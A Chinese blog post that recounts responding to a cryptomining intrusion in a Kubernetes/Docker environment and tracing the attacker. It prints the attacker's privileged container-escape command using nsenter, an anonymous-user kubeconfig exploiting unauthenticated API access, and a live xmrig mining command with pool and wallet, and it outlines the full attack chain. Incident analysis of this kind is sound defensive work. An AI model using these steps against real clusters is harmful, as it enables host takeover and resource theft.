从入侵应急响应到追踪溯源
作者:admin | 时间:2020-9-21 15:24:21 | 分类:黑客技术 隐藏侧边栏展开侧边栏
故事背景
一天我收到云安全告警,说服务器被人挖矿,就非常奇怪,因为我在服务器已经部署了HIDS,为啥我没有收到呢?后面才知道是容器服务被人入侵,HIDS只关注宿主机状态。
(以下过程是重新搭建一套环境进行分析入侵攻击流程)
故事过程
应急措施
首先使用TOP命令查看CPU使用情况,发现CPU使用最多的进行xmrig,懂的人都知道这个进程是门罗币的挖矿程序,也就是咱们中了挖矿病毒。
接着就找他的位置,发现它在/usr/bin/
但是查看它的位置显示不存在,这就很奇怪了,因为如果是自删除的话,exe这里就会显示删除,但是并没有,而且一直kill它,接着就复活,一开始怀疑的是不是还有其他进程支持它复活。
接着在docker里面发现有这个挖矿服务正在运行中,难怪一直KILL都会复活。
因为存在非常多镜像,直接筛选跑CPU最多的容器出来。
[root@localhost ~]# docker stats --no-stream CONTAINER CPU % MEM USAGE / LIMIT MEM % NET I/O BLOCK I/O PIDS 8c20ceddd118 99.07% 258.9 MiB / 972.4 MiB 26.63% 1.93 kB / 1.61 kB 6.34 MB / 0 B 7
找到了挖矿镜像,原来是被人下载了镜像,并且运行
于是进入到容器里面,ps命令查看进程运行情况
[root@8c20ceddd118 /]# ps aux | grep xm root 1 99.6 26.9 540496 268204 ? Ssl+ 12:19 11:39 /usr/bin/xmrig -o xmr-eu2.nanopool.org:14444 -u 47YMfiGEidNWZdkVZNWDkZj7LRC5MAVLd14i6xYyX2ag4nDvAXDqk8FSDwTmHTyVHnFUVhw6gnApp3N6HfyJFC1F995RSfU -p worker -a rx/0
-o就是矿池中控的地址,u就是钱包地址。
事到如今,可以确认引起告警是挖矿程序跑满CPU导致的,所以直接停掉这个容器服务
[root@localhost ~]# docker stop 8c20 8c20 [root@localhost ~]#
接着检查一下有没有被人留后门,发现了一个执行脚本
看来还留了一手,在宿主机也运行门罗币挖矿程序,下载压缩包,发现里面有一个运行程序和配置文件,查看这个配置文件,是连接矿池的配置。
找了一遍之后,没有发现什么了,只有两个入侵行为。
溯源过程
因为是一套K8S集群,我当时发现有两个镜像存在xmrig,其中一个就是K8S的RBAC镜像(权限控制),后面查询K8SAPI访问日志,才知道API可以匿名访问控制(system:anonymous),具体过程如下:
先查看K8S集群里面有多少nodes节点,因为我是本地搭建,所以我只有单节点,localhost。
使用post方式调用接口创建pods(pods概念可以理解成一个箱子里面运行一个或多个容器)
由于是K8S api未授权访问,所以直接修改本地kubtctl直接就调用,不使用上面方式进行调用,麻烦。
root@localhost:~# cat /root/.kube/config apiVersion: v1 clusters: - cluster: server: https://192.168.1.140:8443 name: mk contexts: - context: cluster: mk user: anonymous name: kubernetes-admin@mk current-context: kubernetes-admin@mk kind: Config preferences: {}
这个是黑客的调用docker镜像进行提权,核心代码是以下这段
"command": ["docker", "run", "-it", "--privileged", "--pid=host", "--net=host", "docker", "sh", "-c", "nsenter --mount=/proc/1/ns/mnt -- su -"],
- --privileged:给予容器特权
- --pid=host:共享主机进程
- --net=host:共享主机网络
- nsenter --mount=/proc/1/ns/mnt -- su - :挂在宿主机的/proc目录到容器/proc里面,并且su变成root用户
以下是整个攻击过程模拟:
- 黑客发现K8S API存在未授权访问
- 匿名用户创建pods,并且查看pods是否成功激活
- 提权,容器逃逸并且成为宿主机的root用户
- 下载恶意脚本和启动挖矿镜像
- 退出容器,并且删除pods,清理痕迹
追踪过程
根据这个黑客的镜像名字,我找到了他的dockerhub仓库,居然下载有1K多次,看来是个老矿工。
咦,居然还留着GitHub地址,点击过去,还有dockefile,看来只是安装和配置门罗币挖矿程序
来到他的个人首页,居然还发现上面有一个通信地址,看来是俄罗斯黑客。
点击进去发现,原来是个俄罗斯招聘网站,类似拉勾程序员招聘网站。
注册登录进去,令人惊讶的是,简历居然是公开的=-=防社工意识不强啊。这年头,大佬都要下海干活,看来中年危机很严重。。。
继续Google发现还真的是大佬,具体信息就不发出来了。
这就让我很好奇他赚了多少钱,找他矿池地址
点击首页看到一堆币运行教程
输入钱包地址,就会看到挖矿的经过,这段时间就赚了66美元。
看来是这个钱包地址是从七天前开始启用的,但是发现dockerfile最早的记录是在几个月前,可想而知,大佬估计换一个钱包地址继续下一波。